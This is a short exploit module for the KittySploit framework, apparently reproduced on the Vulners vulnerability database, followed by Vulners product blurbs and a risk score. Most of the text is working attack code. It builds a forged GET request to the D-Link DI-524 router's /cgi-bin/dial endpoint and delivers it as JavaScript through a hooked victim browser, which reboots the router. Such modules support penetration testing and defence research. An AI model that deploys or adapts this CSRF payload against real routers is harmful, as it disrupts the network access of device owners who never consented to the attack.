D-Link DI-524 CSRF (reboot)
from kittysploit import *
from lib.protocols.http.csrf import Csrf
class Module(BrowserAuxiliary, Csrf):
__info__ = {
"name": "D-Link DI-524 CSRF (reboot)",
"description": "D-Link DI-524 Wireless 150 router - Reboot via CSRF GET",
"author": "KittySploit Team",
"browser": Browser.ALL,
"platform": Platform.ALL,
"session_type": SessionType.BROWSER,
}
target = OptString("http://192.168.1.1", "Target router URL (with http://)", required=True)
def run(self):
url = f"{self.target}/cgi-bin/dial?rc=@&A=H&M=0&T=2000&rd=status"
print_info(f"Executing CSRF GET attack on: {self.target}")
print_info(f"Target: {url}")
print_warning("This will reboot the router!")
js_code = self.csrf_get(url)
result = self.send_js_and_wait_for_response(js_code, timeout=5.0)
if result:
print_success("CSRF GET attack executed successfully")
print_info(f"Response: {result}")
print_info("Reboot request sent to router")
return True
else:
fail.CSRFGetFailed()
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8